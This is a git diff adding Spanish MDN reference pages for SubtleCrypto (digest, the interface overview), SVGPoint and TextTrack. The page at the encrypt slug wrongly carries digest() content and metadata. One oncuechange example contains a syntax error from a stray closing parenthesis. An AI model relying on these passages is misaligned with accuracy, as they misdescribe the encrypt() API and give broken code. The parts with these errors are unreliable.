+   <td>{{SpecName('Web Crypto API', '#dfn-SubtleCrypto-method-digest', 'SubtleCrypto.digest()')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, por favor, revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.SubtleCrypto.digest")}}</p>
+
+<div class="blockIndicator note">
+<p>En Chrome 60, se añadió una característica que deshabilita crypto.subtle para conexiones no TLS.</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.chromium.org/Home/chromium-security/prefer-secure-origins-for-powerful-new-features">Chromium especificación de origines seguro</a></li>
+ <li><a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf" rel="noopener">FIPS 180-4</a> especifica la familia de algoritmos de digest SHA.</li>
+</ul>
diff --git a/files/es/web/api/subtlecrypto/encrypt/index.html b/files/es/web/api/subtlecrypto/encrypt/index.html
new file mode 100644
index 0000000000..8f35030d35
--- /dev/null
+++ b/files/es/web/api/subtlecrypto/encrypt/index.html
@@ -0,0 +1,142 @@
+---
+title: SubtleCrypto.digest()
+slug: Web/API/SubtleCrypto/encrypt
+tags:
+  - API
+  - Encriptación
+  - Referencia
+  - SubtleCrypto
+  - Web Crypto API
+  - encrypt
+translation_of: Web/HTTP/Headers/Digest
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p>El método <code><strong>digest()</strong></code> de la interfaz {{domxref("SubtleCrypto")}} genera un digest de los datos proveidos. Un {{domxref("digest")}} es un valor corto de longitud fija derivado de alguna entrada de longitud variable. Los digest criptográficos deben mostrar resistencia a colisiones, lo que significa que es difícil encontrar dos entradas diferentes que tengan el mismo valor de digest.</p>
+
+<p>Toma como argumento un identificador para el algoritmo digest a utilizar y los datos a codificar. Devuelve un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object represents the eventual completion (or failure) of an asynchronous operation, and its resulting value."><code>Promise</code></a> que se completará con el digest.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">const digest = <em>crypto</em><code>.subtle.digest(<em>algorithm</em>, <em>data</em>)</code>;
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<ul>
+ <li><em><code>algorithm</code></em> es un {{domxref("DOMString")}} definiendo la función hash a utilizar. Los valores admitidos son:
+
+  <ul>
+   <li><code>SHA-1</code> (pero no debe utilizarse en aplicaciones criptográficas)</li>
+   <li><code>SHA-256</code></li>
+   <li><code>SHA-384</code></li>
+   <li><code>SHA-512</code></li>
+  </ul>
+ </li>
+ <li><em><code>data</code></em> es un {{jsxref("ArrayBuffer")}} o {{domxref("ArrayBufferView")}} que contiene los datos a ser digitalizados.</li>
+</ul>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<ul>
+ <li><code><em>digest</em></code> es un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object represents the eventual completion (or failure) of an asynchronous operation, and its resulting value."><code>Promise</code></a> que se completa con un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title="The ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You cannot directly manipulate the contents of an ArrayBuffer; instead, you create one of the typed array objects or a DataView object which represents the buffer in a specific format, and use that to read and write the contents of the buffer."><code>ArrayBuffer</code></a> conteniendo el digest.</li>
+</ul>
+
+<h2 id="Algoritmos_soportados">Algoritmos soportados</h2>
+
+<p>Los argoritmos digest, también conocidos como <a href="/en-US/docs/Glossary/Cryptographic_hash_function">funciones criptográficas hash</a>, transforman un bloque de datos arbitrariamente grande en una salida de tamaño fijo, normalmente mucho más corta que la entrada. Tienen una variedad de aplicaciones en criptografía.</p>
+
+<h3 id="SHA-1">SHA-1</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.1, y produce una salida de 160 bits de largo.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Advertencia</strong>: Este algoritmo se considera ahora vulnerable y no debe utilizarse para aplicaciones criptográficas.</p>
+</div>
+
+<h3 id="SHA-256">SHA-256</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.2, y produce una salida de 256 bits de largo.</p>
+
+<h3 id="SHA-384">SHA-384</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.5, y produce una salida de 384 bits de largo.</p>
+
+<h3 id="SHA-512">SHA-512</h3>
+
+<p>Este algoritmo se especifica en <a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf">FIPS 180-4</a>, sección 6.4, y produce una salida de 512 bits de largo.</p>
+
+<div class="blockIndicator note">
+<p>Sugerencia: Si estás buscando aquí cómo crear un código de autenticación de mensajes "keyed-hash" (<a href="/en-US/docs/Glossary/HMAC">HMAC</a>), necesitas usar <a href="/en-US/docs/Web/API/SubtleCrypto/sign#HMAC">SubtleCrypto.sign()</a> en su lugar.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<p>Este ejemplo codifica un mensaje, luego calcula su digest SHA-256 y muestra la longitud del mismo:</p>
+
+<pre class="brush: js">const text = 'An obscure body in the S-K System, your majesty. The inhabitants refer to it as the planet Earth.';
+
+async function digestMessage(message) {
+  const encoder = new TextEncoder();
+  const data = encoder.encode(message);
+  const hash = await crypto.subtle.digest('SHA-256', data);
+  return hash;
+}
+
+const digestBuffer = await digestMessage(text);
+console.log(digestBuffer.byteLength);
+</pre>
+
+<h3 id="Convirtiendo_un_digest_a_una_cadena_hexadecimal">Convirtiendo un digest a una cadena hexadecimal</h3>
+
+<p>El resumen se devuelve como un <code>ArrayBuffer</code>, pero para la comparación y visualización los digests se representan a menudo como cadenas hexadecimales. Este ejemplo calcula un digest, y luego convierte el <code>ArrayBuffer</code> a un string hexadecimal:</p>
+
+<pre class="brush: js">const text = 'An obscure body in the S-K System, your majesty. The inhabitants refer to it as the planet Earth.';
+
+async function digestMessage(message) {
+  const msgUint8 = new TextEncoder().encode(message);                           // encode as (utf-8) Uint8Array
+  const hashBuffer = await crypto.subtle.digest('SHA-256', msgUint8);           // hash the message
+  const hashArray = Array.from(new Uint8Array(hashBuffer));                     // convert buffer to byte array
+  const hashHex = hashArray.map(b =&gt; b.toString(16).padStart(2, '0')).join(''); // convert bytes to hex string
+  return hashHex;
+}
+
+const digestHex = await digestMessage(text);
+console.log(digestHex);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#dfn-SubtleCrypto-method-digest', 'SubtleCrypto.digest()')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, por favor, revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.SubtleCrypto.digest")}}</p>
+
+<div class="blockIndicator note">
+<p>En Chrome 60, se añadió una característica que deshabilita crypto.subtle para conexiones no TLS.</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.chromium.org/Home/chromium-security/prefer-secure-origins-for-powerful-new-features">Chromium especificación de origines seguro</a></li>
+ <li><a href="https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf" rel="noopener">FIPS 180-4</a> especifica la familia de algoritmos de digest SHA.</li>
+</ul>
diff --git a/files/es/web/api/subtlecrypto/index.html b/files/es/web/api/subtlecrypto/index.html
new file mode 100644
index 0000000000..429f0c080e
--- /dev/null
+++ b/files/es/web/api/subtlecrypto/index.html
@@ -0,0 +1,290 @@
+---
+title: SubtleCrypto
+slug: Web/API/SubtleCrypto
+tags:
+  - API
+  - Interfaz
+  - Referencia
+  - SubtleCrypto
+  - Web Crypto API
+translation_of: Web/API/SubtleCrypto
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p>La interfaz <code><strong>SubtleCrypto</strong></code> de la <a href="/en-US/docs/Web/API/Web_Crypto_API">Web Crypto API</a> provee una serie de funciones criptográficas de bajo nivel. Se accede a ella a través de las propiedades {{domxref("Crypto.subtle")}} disponible en un contexto de la ventana (via {{domxref("Window.crypto")}}).</p>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> Esta API proporciona una serie de primitivos criptográficos de bajo nivel. Es muy fácil hacer un mal uso de ellos, y las trampas involucradas pueden ser muy sutiles.</p>
+
+<p>Incluso suponiendo que se utilicen correctamente las funciones criptográficas básicas, la gestión segura de las claves y el diseño general del sistema de seguridad son extremadamente difíciles de conseguir correctamente, y generalmente son el dominio de expertos en seguridad especializados.</p>
+
+<p>Los errores en el diseño e implementación del sistema de seguridad pueden hacer que la seguridad del sistema sea completamente ineficaz.</p>
+
+<p><strong>Si no estás seguro de saber lo que estás haciendo, probablemente no deberías usar esta API.</strong></p>
+</div>
+
+<h2 id="Descripción_general">Descripción general</h2>
+
+<p>Podemos dividir las funciones implementadas por esta API en dos grupos: funciones criptográficas y funciones de administración de claves.</p>
+
+<h3 id="Funciones_criptográficas">Funciones criptográficas</h3>
+
+<p>Estas son las funciones que puedes utilizar para implementar características de seguridad como la privacidad y la autenticación en un sistema. El API de <code>SubtleCrypto</code> proporciona las siguientes funciones criptográficas:</p>
+
+<p>* {{DOMxRef("SubtleCrypto.sign","sign()")}} y {{DOMxRef("SubtleCrypto.verify","verify()")}}: crea y verifica las firmas digitales.<br>
+ * {{DOMxRef("SubtleCrypto.encrypt","encrypt()")}} y {{DOMxRef("SubtleCrypto.decrypt","decrypt()")}}: encripta y desencripta datos.<br>
+ * {{DOMxRef("SubtleCrypto.digest","digest()")}}: crea un digest de longitud fija y resistente a colisiones de algunos datos.</p>
+
+<h3 id="Funciones_de_gestión_clave">Funciones de gestión clave</h3>
+
+<p>Excepto para {{DOMxRef("SubtleCrypto.digest","digest()")}}, todas las funciones de criptografía de la API utilizan claves criptográficas. En la API <code>SubtleCrypto</code> una clave criptográfica se representa usando un objeto {{DOMxRef("CryptoKey","CryptoKey")}}. Para realizar operaciones como firmado y encriptación, provee un objeto {{DOMxRef("CryptoKey","CryptoKey")}} a la función {{DOMxRef("SubtleCrypto.sign","sign()")}} o {{DOMxRef("SubtleCrypto.encrypt","encrypt()")}}.</p>
+
+<h4 id="Generando_y_derivando_claves">Generando y derivando claves</h4>
+
+<p>Las funciones {{DOMxRef("SubtleCrypto.generateKey","generateKey()")}} y {{DOMxRef("SubtleCrypto.deriveKey","deriveKey()")}} ambos crean un nuevo objeto {{DOMxRef("CryptoKey")}}.</p>
+
+<p>La diferencia es que <code>generateKey()</code> generará un nuevo valor clave distinto cada vez que lo llames, mientras que <code>deriveKey()</code> deriva una llave de algún material inicial de claves. Si proporcionas el mismo material de claves a dos llamadas separadas a <code>deriveKey()</code>, obtendrás dos objetos  <code>CryptoKey</code> que tienen el mismo valor de base. Esto es útil si, por ejemplo, se quiere derivar una clave de cifrado de una contraseña y luego derivar la misma clave de la misma contraseña para descifrar los datos.</p>
+
+<h4 id="Importación_y_exportación_de_claves">Importación y exportación de claves</h4>
+
+<p>Para hacer que las claves estén disponibles fuera de tu aplicación, necesitas exportar la clave, y para eso sirve {{DOMxRef("SubtleCrypto.exportKey","exportKey()")}}.Puedes elegir uno de varios formatos de exportación.</p>
+
+<p>El inverso de <code>exportKey()</code> es {{DOMxRef("SubtleCrypto.importKey","importKey()")}}. Puedes importar claves de otros sistemas, y la compatibilidad con formatos estándar como <a href="https://tools.ietf.org/html/rfc5208">PKCS #8</a> y <a href="https://tools.ietf.org/html/rfc7517">JSON Web Key</a> te ayudan a hacer esto. La función <code>exportKey()</code> exporta la clave en un formato no codificado.</p>
+
+<p>Si la clave es sensible, deberías usar {{DOMxRef("SubtleCrypto.wrapKey","wrapKey()")}}, que exporta la clave y luego la encripta usando otra clave; el API llama a una "llave de envoltura".</p>
+
+<p>El inverso de <code>wrapKey()</code> es {{DOMxRef("SubtleCrypto.unwrapKey","unwrapKey()")}}, que descifra y luego importa la llave.</p>
+
+<h4 id="Almacenamiento_de_claves">Almacenamiento de claves</h4>
+
+<p>Epecification objetos <code>CryptoKey</code> pueden ser almacenados usando el <a href="/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured clone algorithm</a>, lo que significa que puedes almacenarlos y recuperarlos usando las API de almacenamiento web estándar. La especificación espera que la mayoría de los desarrolladores usen el <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> para almacenar objetos <code>CryptoKey</code>.</p>
+
+<h3 id="Algoritmos_Suportados">Algoritmos Suportados</h3>
+
+<p>Las funciones criptográficas que proporciona la Web Crypto API pueden ser realizadas por uno o más <em>algoritmos criptográficos </em>diferentes: El argumento <code>algorithm</code> de la función indica el algoritmo a utilizar. Algunos algoritmos necesitan parámetros adicionales: en estos casos el argumento <code>algorithm</code> es un objeto de diccionario que incluye los parámetros adicionales.</p>
+
+<p>En el cuadro que figura a continuación se resume qué algoritmos son adecuados para cada operación criptográfica:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/sign">sign()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/verify">verify()</a></p>
+   </th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/encrypt">encrypt()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/decrypt">decrypt()</a></p>
+   </th>
+   <th scope="col"><a href="/en-US/docs/Web/API/SubtleCrypto/digest">digest()</a></th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/deriveBits">deriveBits()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/deriveKey">deriveKey()</a></p>
+   </th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/wrapKey">wrapKey()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/unwrapKey">unwrapKey()</a></p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">RSASSA-PKCS1-v1_5</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">RSA-PSS</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ECDSA</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HMAC</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">RSA-OAEP</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">AES-CTR</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">AES-CBC</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">AES-GCM</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-1</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-256</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-384</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-512</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ECDH</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HKDF</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">PBKDF2</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AES-KW</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz no hereda ni implementa ninguna propiedad.</em></p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz no hereda ningún método.</em></p>
+
+<dl>
+ <dt>{{domxref("SubtleCrypto.encrypt()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con los datos codificados correspondientes al texto sin cifrar, el algoritmo y la clave dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.decrypt()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con los datos claros correspondientes al texto encriptado, el algoritmo y la clave dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.sign()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con la firma correspondiente al texto, algoritmo y clave dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.verify()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un valor {{jsxref("Boolean")}} indicando si la firma dada como parámetro coincide con el texto, el algoritmo y la clave que también se dan como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.digest()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con digest generado a partir del algoritmo y el texto dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.generateKey()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un recién generado {{domxref("CryptoKey")}}, para algoritmos simétricos, o un {{domxref("CryptoKeyPair")}}, que contiene dos claves recién generadas, para algoritmos asimétricos. Estas coincidirán con el algoritmo, usos y extraíbles dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveKey()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un recién generado {{domxref("CryptoKey")}} derivado de la clave maestra y el algoritmo específico dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveBits()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un recién generado buffer de bits pseudo-aleatorios derivado de la clave maestra y el algoritmo específico dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.importKey()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un {{domxref("CryptoKey")}} correspondiente al formato, el algoritmo, los datos clave en bruto, los usos y la extraíbilidad dados como parámetros.</dd>
+ <dt>{{domxref("SubtleCrypto.exportKey()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un buffer que contiene la clave en el formato solicitado.</dd>
+ <dt>{{domxref("SubtleCrypto.wrapKey()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con una llave simétrica envuelta para su uso (transferencia y almacenamiento) en entornos inseguros. La llave envuelta coincide con el formato especificado en los parámetros dados, y la envoltura se hace con la llave envuelta dada, usando el algoritmo especificado.</dd>
+ <dt>{{domxref("SubtleCrypto.unwrapKey()")}}</dt>
+ <dd>Retorna un {{jsxref("Promise")}} que se completa con un {{domxref("CryptoKey")}} correspondiente a la llave envuelta dada en el parámetro.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#subtlecrypto-interface', 'SubtleCrypto') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("api.SubtleCrypto")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}} and {{domxref("Crypto.subtle")}}.</li>
+ <li><a href="https://www.crypto101.io/">Crypto 101</a>: un curso de introducción a la criptografía (en inglés).</li>
+</ul>
diff --git a/files/es/web/api/svgpoint/index.html b/files/es/web/api/svgpoint/index.html
new file mode 100644
index 0000000000..9709061af4
--- /dev/null
+++ b/files/es/web/api/svgpoint/index.html
@@ -0,0 +1,13 @@
+---
+title: SVGPoint
+slug: Web/API/SVGPoint
+tags:
+  - SVGPoint
+  - createSVGPoint
+  - getScreenCTM
+  - matrixTransform
+translation_of: Web/API/SVGPoint
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Crea un nuevo elemento SVGPoint que se inicializa en el origen ( 0,0) del sistema de coordenadas. El elemento no es visible ni es agregado al DOM</p>
diff --git a/files/es/web/api/texttrack/cuechange_event/index.html b/files/es/web/api/texttrack/cuechange_event/index.html
new file mode 100644
index 0000000000..4a667535fc
--- /dev/null
+++ b/files/es/web/api/texttrack/cuechange_event/index.html
@@ -0,0 +1,109 @@
+---
+title: 'TextTrack: evento cuechange'
+slug: Web/API/TextTrack/cuechange_event
+tags:
+  - API
+  - Audio
+  - Event
+  - Media
+  - Reference
+  - TextTrack
+  - Video
+  - WebVTT
+  - cuechange
+  - events
+  - oncuechange
+  - track
+translation_of: Web/API/TextTrack/cuechange_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">El evento <strong><code>cuechange</code></strong> se activa cuando un {{domxref("TextTrack")}} ha cambiado las anotaciones que se estan mostrando.</span> El evento es activado tanto en <code>TextTrack</code> <em>y</em> en el {{domxref("HTMLTrackElement")}} donde esta siendo mostrado, si lo hay.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Burbujas</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propiedad del controlador de eventos</th>
+   <td>{{domxref("GlobalEventHandlers.oncuechange")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="En_el_TextTrack">En el TextTrack</h3>
+
+<p>Tu puedes preparar una escucha para el evento <code>cuechange</code> en un <code>TextTrack</code> usando el método {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p>
+
+<pre class="brush: js notranslate">track.addEventListener('cuechange', function () {
+  let cues = track.activeCues;  // array de las anotaciones actuales
+});
+</pre>
+
+<p>O puedes solo preparar la propiedad del controlador de eventos {{domxref("GlobalEventHandlers.oncuechange", "oncuechange")}}:</p>
+
+<pre class="brush: js notranslate">track.oncuechange = function () {
+  let cues = track.activeCues; // array of current cues
+}</pre>
+
+<h3 id="En_el_elemento_track">En el elemento track</h3>
+
+<p>El subyacente {{domxref("TextTrack")}}, indicado por la propiedad {{domxref("HTMLTrackElement.track", "track")}}, recive un evento  {{domxref("TextTrack.cuechange_event", "cuechange")}} cada vez que la anotación que esta siendo actualmente presentada cambia. Est sucede incluso si la pista de texto no está asociada cun un elemento multimedia.</p>
+
+<p>Si la pista de texto <em>está</em> asociada con el elemento multimedia, usando el elemento {{HTMLElement("track")}} como hijo del elemento {{HTMLElement("audio")}} o del elemento {{HTMLElement("video")}}, el evento <code>cuechange</code> es también enviado al {{domxref("HTMLTrackElement")}}.</p>
+
+<pre class="brush: js notranslate">let textTrackElem = document.getElementById("texttrack");
+
+textTrackElem.addEventListener("cuechange", (event) =&gt; {
+  let cues = event.target.track.activeCues;
+});
+</pre>
+
+<p>Además, puedes utilizar el controlador de eventos <code>oncuechange</code>:</p>
+
+<pre class="brush: js notranslate">let textTrackElem = document.getElementById("texttrack");
+
+textTrackElem.oncuechange = (event) =&gt; {
+  let cues = event.target.track.activeCues;
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#event-media-cuechange', 'cuechange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página está generada desde datos estructurados. Si quieres contribuir a los datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una pull request.</div>
+
+<p>{{Compat("api.TextTrack.cuechange_event")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{glossary("WebVTT")}}</li>
+</ul>
diff --git a/files/es/web/api/texttrack/index.html b/files/es/web/api/texttrack/index.html
new file mode 100644
index 0000000000..17c32575fa
--- /dev/null
+++ b/files/es/web/api/texttrack/index.html
@@ -0,0 +1,102 @@
+---
+title: TextTrack
+slug: Web/API/TextTrack
+tags:
+  - API
+  - Interface
+  - Media
+  - NeedsTranslation
+  - Reference
+  - TextTrack
+  - TopicStub
+  - Web
+  - WebVTT
+translation_of: Web/API/TextTrack
+---
+<div>{{APIRef("WebVTT")}}</div>
+
+<div id="interface_description">
+<p>The <code>TextTrack</code> interface—part of the API for handling WebVTT (text tracks on media presentations)—describes and controls the text track associated with a particular {{HTMLElement("track")}} element.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p class="properties also_inherits"><em>This interface also inherits properties from {{domxref("EventTarget")}}.</em></p>
+
+<dl id="property_definitions">
+	<dt>{{domxref("TextTrack.activeCues")}} {{readonlyInline}}</dt>
+	<dd>A {{domxref("TextTrackCueList")}} object listing the currently active set of text track cues. Track cues are active if the current playback position of the media is between the cues' start and end times. Thus, for displayed cues such as captions or subtitles, the active cues are currently being displayed.</dd>
+	<dt>{{domxref("TextTrack.cues")}} {{readonlyInline}}</dt>
+	<dd>A {{domxref("TextTrackCueList")}} which contains all of the track's cues.</dd>
+	<dt>{{domxref("TextTrack.id")}} {{readonlyInline}}</dt>
+	<dd>A {{domxref("DOMString")}} which identifies the track, if it has one. If it doesn't have an ID, then this value is an empty string (<code>""</code>). If the <code>TextTrack</code> is associated with a {{HTMLElement("track")}} element, then the track's ID matches the element's ID.</dd>
+	<dt>{{domxref("TextTrack.inBandMetadataTrackDispatchType")}} {{readonlyInline}}</dt>
+	<dd>Returns a {{domxref("DOMString")}} which indicates the track's in-band metadata track dispatch type. <em><strong>needs details</strong></em></dd>
+	<dt>{{domxref("TextTrack.kind")}} {{readonlyInline}}</dt>
+	<dd>Returns a {{domxref("DOMString")}} indicating what kind of text track the <code>TextTrack</code> describes. The value must be one of those in the TextTrackKind enum.</dd>
+	<dt>{{domxref("TextTrack.label")}} {{readonlyInline}}</dt>
+	<dd>A human-readable {{domxref("DOMString")}} which contains the text track's label, if one is present; otherwise, this is an empty string (<code>""</code>), in which case a custom label may need to be generated by your code using other attributes of the track, if the track's label needs to be exposed to the user.</dd>
+	<dt>{{domxref("TextTrack.language")}} {{readonlyInline}}</dt>
+	<dd>A {{domxref("DOMString")}} which specifies the text language in which the text track's contents is written. The value must adhere to the format specified in the <a href="https://tools.ietf.org/html/bcp47">Tags for Identifying Languages</a> (<a href="https://tools.ietf.org/html/bcp47">BCP 47</a>) document from the IETF, just like the HTML {{htmlattrxref("lang")}} attribute. For example, this can be <code>"en-US"</code> for United States English or <code>"pt-BR"</code> for Brazilian Portuguese.</dd>
+	<dt>{{domxref("TextTrack.mode")}}</dt>
+	<dd>A {{domxref("DOMString")}} specifying the track's current mode. Changing this property's value changes the track's current mode to match. Permitted values are listed under <a href="/en-US/docs/Web/API/TextTrack/mode#Text_track_mode_constants">Text track mode constants</a>. The default is <code>disabled</code>, unless the {{HTMLElement("track")}} element's {{htmlattrxref("default", "track")}} Boolean attribute is specified, in which case the default mode is <code>started</code>.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl id="event_handler_property_definitions">
+	<dt><code><a href="/en-US/docs/Web/API/TextTrack/cuechange_event">cuechange</a></code></dt>
